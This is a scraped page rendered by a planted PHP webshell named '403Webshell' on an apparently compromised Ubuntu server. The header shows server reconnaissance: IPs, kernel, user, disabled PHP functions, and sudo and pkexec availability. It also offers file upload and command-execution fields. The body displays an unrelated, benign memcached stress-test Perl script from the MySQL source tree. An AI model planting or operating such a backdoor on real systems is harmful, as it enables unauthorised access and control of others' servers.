403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.170.106
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/plugin/innodb_memcached/daemon_memcached/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/plugin/innodb_memcached/daemon_memcached/t/stress-memcached.pl
#!/usr/bin/perl
#

use strict;
use lib '../../api/perl/lib';
use Cache::Memcached;
use Time::HiRes qw(time);

unless (@ARGV == 2) {
    die "Usage: stress-memcached.pl ip:port threads\n";
}

my $host = shift;
my $threads = shift;

my $memc = new Cache::Memcached;
$memc->set_servers([$host]);

unless ($memc->set("foo", "bar") &&
        $memc->get("foo") eq "bar") {
    die "memcached not running at $host ?\n";
}
$memc->disconnect_all();


my $running = 0;
while (1) {
    if ($running < $threads) {
        my $cpid = fork();
        if ($cpid) {
            $running++;
            #print "Launched $cpid.  Running $running threads.\n";
        } else {
            stress();
            exit 0;
        }
    } else {
        wait();
        $running--;
    }
}

sub stress {
    undef $memc;
    $memc = new Cache::Memcached;
    $memc->set_servers([$host]);

    my ($t1, $t2);
    my $start = sub { $t1 = time(); };
    my $stop = sub {
        my $op = shift;
        $t2 = time();
        my $td = sprintf("%0.3f", $t2 - $t1);
        if ($td > 0.25) { print "Took $td seconds for: $op\n"; }
    };

    my $max = rand(50);
    my $sets = 0;

    for (my $i = 0; $i < $max; $i++) {
        my $key = key($i);
        my $set = $memc->set($key, $key);
        $sets++ if $set;
    }

    for (1..int(rand(500))) {
        my $rand = int(rand($max));
        my $key = key($rand);
        my $meth = int(rand(3));
        my $exp = int(rand(3));
        undef $exp unless $exp;
        $start->();
        if ($meth == 0) {
            $memc->add($key, $key, $exp);
            $stop->("add");
        } elsif ($meth == 1) {
            $memc->delete($key);
            $stop->("delete");
        } else {
            $memc->set($key, $key, $exp);
            $stop->("set");
        }
        $rand = int(rand($max));
        $key = key($rand);
        $start->();
        my $v = $memc->get($key);
        $stop->("get");
        if ($v && $v ne $key) { die "Bogus: $v for key $rand\n"; }
    }

    $start->();
    my $multi = $memc->get_multi(map { key(int(rand($max))) } (1..$max));
    $stop->("get_multi");
}

sub key {
    my $n = shift;
    $_ = sprintf("%04d", $n);
    if ($n % 2) { $_ .= "a"x20; }
    $_;
}

Youez - 2016 - github.com/yon3zu
LinuXploit